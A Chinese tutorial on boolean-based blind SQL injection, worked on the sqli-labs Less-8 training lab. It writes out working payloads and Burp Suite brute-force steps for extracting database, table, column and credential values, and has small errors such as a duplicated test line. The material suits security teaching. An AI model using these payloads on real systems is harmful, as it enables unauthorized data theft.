目录
1、判断闭合符类型
2、爆数据库长度
3、查询库名
手动注入
burpsuite爆破
方法一：用ASCII码值转化爆破
方法二：left方法直接爆破字母
方法三：if方法爆破注入（最简单）
4、爆破表名
5、爆破具体值
当我们改变前端页面传输给后台sql参数时，页面没有显示相应内容也没有显示报错信息时，页面呈现出两种状态，正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入，这时我们可以考虑是否为基于布尔的盲注。
接下来我们用实例来感受下布尔盲注！！
以sqli-labs-masterless-8关为例：
1、判断闭合符类型
当输入
?id=1' 页面显示没有结果
但当加入--+之后，页面又显示正常，这说明，闭合符就是‘
当输入
?id=1' and 1=1 --+ #显示正常
?id=1' and 1=1 --+ #显示异常
就可以确定是布尔盲注了.
2、爆数据库长度
?id=1' and length(database())>=10 --+
length（）函数返回字符串的长度，这里采用二分法，直到找到一个分界点,即为数据库长度，这里得到长度为8
3、查询库名
手动注入
手动一个一个测试
ascii() #返回ASCII码值
substr(要截取的字符串，开始位，截取的长度) #截取字符串
构造payload：
?id=1' and ascii(substr(database(),1,1))>=115 --+ #显示正常
?id=1' and ascii(substr(database(),1,1))>=116 --+ #显示异常
说明数据库名的第一个字符的ascii码值为115，查询ascii码表即可得知对应的字符为s
查询第二个字符需要将开始位改为2，再一个一个查询即：
?id=1' and ascii(substr(database(),2,1))>=115 --+
已知库名长度为八，我们可以尝试手动注入八次，但是这样消耗的时间太长了，我们还可以利用脚本和burpsuit来爆破，这里演示用bp爆破库名
burpsuite爆破
可以采用三种方式来构造payload进行爆破
?id=1' and ascii(substr(database(),1,1))=115 --+
?id=1' and left(database(),1)='s' --+
方法一：用ASCII码值转化爆破
?id=1' and ascii(substr(database(),1,1))=115 --+substr的第一个1表示从第一位开始，第二个一表示每次爆破一位，于是我们的爆破点就有两个
一号爆破点选择1~8，因为之前我们已经得知数据库名字长度为8位了，所以只需选择一到八
二号爆破点选择的是字母的ascii码值，可以从本地导入，于是得到库名
查询ascii码表即可得知库名为security
方法二：left方法直接爆破字母
介绍一下left函数 left（参数1，参数2） 意为 将参数1从左开始取参数2个
示例： left（abc,2） 返回值为ab
之后将他与字符串进行比较 例如 left（abc,1）>'a' 返回结果为false 因为 ‘a’=‘a’
同样的left（abc，2）>'aa' 返回结果为TURE 因为‘ab’是要大于‘aa’
根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系
及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常
构造payload：
?id=1' and left(database(),1)='s' --+
用burpsuite抓包后选择字符为爆破点
爆破内容选择a~z26个字母
第一个爆破结果如图所示，这种方法的限制是一次只能爆破一个字母
如果要接着爆破下一个字母，需要在爆破点前加上爆破出来的字母，并将left函数里面的数字修改。如：爆破第二个字母，需要将1改为2，并在爆破点前加上刚刚爆破出来的s，这是由left的匹配机制所决定的，2的意思是字符的前两个字母，于是需要加上s
爆破出来的第二个字母为e
后面也都是一样的步骤，这里就不赘述了。用left（）从database（）中选取字符进行爆破，这种方法的缺点是太过于复杂，需要逐次爆破，通常不使用这种方法。
方法三：if方法爆破注入（最简单）
if(1=1,1,0) 表示：如果1=1，则返回1，否则返回0；
构造payload:
?id=1' and if(substr(database(),1,1)='s',1,0) --+substr(database(),1,1)=’s'表示从库名选择第一个字母，判断其是否等于s，如果是，则返回1，页面正常显示，如果不是，则返回2，页面显示异常
选择两个爆破点：
爆破结果：得到库名security
4、爆破表名
?id=1' and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1,0) --+
select table_name from information_schema.tables where table_schema=database()：在当前数据库内查询表名，由于一个数据库中通常有许多表，于是我们需要用 limit 0,1来限制行数，
limit 0，1表示从第一条开始取出一条数据，需要注意的是limit默认下标从0开始，第一个参数是下标，查数据的话是从第一条查，第二个参数限定了几条数据。
(select table_name from information_schema.tables where table_schema=database() limit 0,1)：选择第一行的数据，即第一个表名
substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)：每次取一个字母进行爆破，第一个1表示从第一个字母开始，第二个一表示每次取一个
选择爆破点，依旧还是选择集束炸弹模式，让两个爆破点爆破的数据随机组合
这里由于不知道表名有多少个字符，字典可以选择长一点，这里我们选择0~20
第二个爆破点依旧选择26个字母
最终得到第一个表名：emails
后面继续爆破剩下的表名，只需改动limit为对应行即可，如要爆破第二个表名，只需将limit 0，1改为limit 1，1即可。
得到第2个表名referers，后面就不再一一演示了。
5、爆破列名
只需将表名改为列名，并限制要查询表的名称，如要查询users表中的列名，构造payload
?id=1' and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='a',1,0)--+
同样可以一个一个地查询列名 
但是一行一行查太麻烦了，我们可以尝试一次查询多行，只需将limit限制查询的行数也进行爆破即可。爆破点如下：
爆破结果：
5、爆破具体值
我们尝试爆破password和username两列的值，由于username和password列中有许多组数据，这里就只示例一组数据的爆破。
首先爆破username的值，构造payload
?id=1' and if(substring((select username from users limit 0,1),1,1)='a',1,0)--+
得到第一个username的值dumb：
接下来爆破password的值：
构造payload：
?id=1' and if(substring((select password from users limit 0,1),1,1)='a',1,0)--+
得到password依旧为dumb
于是我们拿到了第一组数据，其username和password均为dumb；
今天就写到这里啦，喜欢的话给我点个赞吧，我们一起成长！！！
后续还会更新更多sql注入的内容，喜欢的宝子可以关注我的sql专栏哦~_~
